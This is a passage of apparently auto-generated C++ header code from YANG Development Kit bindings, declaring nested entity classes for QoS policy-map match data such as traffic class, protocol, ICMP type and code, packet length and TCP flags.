& segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class Uint16RngArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::QosGroup::Uint16RngArray ydk::YList uint16_rng_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::QosGroup class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::QosGroup::Uint16RngArray : public ydk::Entity { public: Uint16RngArray(); ~Uint16RngArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf min; //type: uint16 ydk::YLeaf max; //type: uint16 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::QosGroup::Uint16RngArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::TrafficClass : public ydk::Entity { public: TrafficClass(); ~TrafficClass(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class Uint8RngArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::TrafficClass::Uint8RngArray ydk::YList uint8_rng_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::TrafficClass class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::TrafficClass::Uint8RngArray : public ydk::Entity { public: Uint8RngArray(); ~Uint8RngArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf min; //type: uint8 ydk::YLeaf max; //type: uint8 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::TrafficClass::Uint8RngArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Proto : public ydk::Entity { public: Proto(); ~Proto(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class Uint16RngArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Proto::Uint16RngArray ydk::YList uint16_rng_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Proto class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Proto::Uint16RngArray : public ydk::Entity { public: Uint16RngArray(); ~Uint16RngArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf min; //type: uint16 ydk::YLeaf max; //type: uint16 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Proto::Uint16RngArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::IcmpV4 : public ydk::Entity { public: IcmpV4(); ~IcmpV4(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf type; //type: uint8 ydk::YLeaf code; //type: uint8 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::IcmpV4 class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::IcmpV6 : public ydk::Entity { public: IcmpV6(); ~IcmpV6(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf type; //type: uint8 ydk::YLeaf code; //type: uint8 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::IcmpV6 class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv4PacketLen : public ydk::Entity { public: Ipv4PacketLen(); ~Ipv4PacketLen(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class Uint16RngArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv4PacketLen::Uint16RngArray ydk::YList uint16_rng_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv4PacketLen class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv4PacketLen::Uint16RngArray : public ydk::Entity { public: Uint16RngArray(); ~Uint16RngArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf min; //type: uint16 ydk::YLeaf max; //type: uint16 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv4PacketLen::Uint16RngArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv6PacketLen : public ydk::Entity { public: Ipv6PacketLen(); ~Ipv6PacketLen(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class Uint16RngArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv6PacketLen::Uint16RngArray ydk::YList uint16_rng_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv6PacketLen class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv6PacketLen::Uint16RngArray : public ydk::Entity { public: Uint16RngArray(); ~Uint16RngArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf min; //type: uint16 ydk::YLeaf max; //type: uint16 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Ipv6PacketLen::Uint16RngArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::PacketLen : public ydk::Entity { public: PacketLen(); ~PacketLen(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class Uint16RngArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::PacketLen::Uint16RngArray ydk::YList uint16_rng_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::PacketLen class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::PacketLen::Uint16RngArray : public ydk::Entity { public: Uint16RngArray(); ~Uint16RngArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf min; //type: uint16 ydk::YLeaf max; //type: uint16 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::PacketLen::Uint16RngArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::FlowTag : public ydk::Entity { public: FlowTag(); ~FlowTag(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class Uint8RngArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::FlowTag::Uint8RngArray ydk::YList uint8_rng_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::FlowTag class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::FlowTag::Uint8RngArray : public ydk::Entity { public: Uint8RngArray(); ~Uint8RngArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf min; //type: uint8 ydk::YLeaf max; //type: uint8 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::FlowTag::Uint8RngArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::TcpFlag : public ydk::Entity { public: TcpFlag(); ~TcpFlag(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf value_; //type: uint16 ydk::YLeaf match_any; //type: boolean }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::TcpFlag class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Icmpv4Type : public ydk::Entity { public: Icmpv4Type(); ~Icmpv4Type(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class Uint8RngArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Icmpv4Type::Uint8RngArray ydk::YList uint8_rng_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Icmpv4Type class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Icmpv4Type::Uint8RngArray : public ydk::Entity { public: Uint8RngArray(); ~Uint8RngArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf min; //type: uint8 ydk::YLeaf max; //type: uint8 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Icmpv4Type::Uint8RngArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Icmpv4Code : public ydk::Entity { public: Icmpv4Code(); ~Icmpv4Code(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class Uint8RngArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Icmpv4Code::Uint8RngArray ydk::YList uint8_rng_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop::ClassMatchInfoSt::MatchData::Icmpv4Code class 